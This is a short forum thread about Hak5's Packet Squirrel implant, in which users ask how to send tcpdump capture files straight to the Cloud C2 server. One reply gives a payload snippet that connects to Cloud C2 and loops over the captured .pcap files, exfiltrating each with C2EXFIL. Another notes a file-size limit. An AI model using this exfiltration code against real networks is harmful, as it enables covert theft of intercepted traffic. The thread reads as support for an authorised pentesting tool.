OTimme Posted November 10, 2020 Share Posted November 10, 2020 Is it possible to send the TCP dump loot directly to the C2 cloud server? Quote Link to comment Share on other sites More sharing options...
chrizree Posted November 10, 2020 Share Posted November 10, 2020 Do you mean to not store it in any way locally on the Packet Squirrel, but instead save it to Cloud C2 only? Quote Link to comment Share on other sites More sharing options...
beginner123 Posted May 26, 2023 Share Posted May 26, 2023 On 11/10/2020 at 10:34 AM, chrizree said: Do you mean to not store it in any way locally on the Packet Squirrel, but instead save it to Cloud C2 only? Is this possible? Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted May 26, 2023 Share Posted May 26, 2023 Streaming tcpdump output directly to Cloud C2 isn't something that is built-in as far as I can remember off the top of my head. It's possible to remotely stream tcpdump output to remote Wireshark sessions though, but that's another use case scenario. Quote Link to comment Share on other sites More sharing options...
aclx Posted November 28, 2023 Share Posted November 28, 2023 try to add this to your payload C2PROVISION="/etc/device.config" LOOT_DIR=/mnt/loot/tcpdump # Exfiltrate Loot to Cloud C2 if [[ -f "$C2PROVISION" ]]; then LED SPECIAL # Connect to Cloud C2 C2CONNECT # Wait until Cloud C2 connection is established while ! pgrep cc-client; do sleep 1; done # Exfiltrate all test loot files FILES="$LOOT_DIR/*.pcap" for f in $FILES; do C2EXFIL STRING $f tcpdump-C2-Payload; done else # Exit script if not provisioned for C2 LED R SOLID exit 1 fi Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted November 28, 2023 Share Posted November 28, 2023 There's a limitation in C2EXFil that stops transfers of larger files. Might be good to know since tcpdump files can grow pretty quickly. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.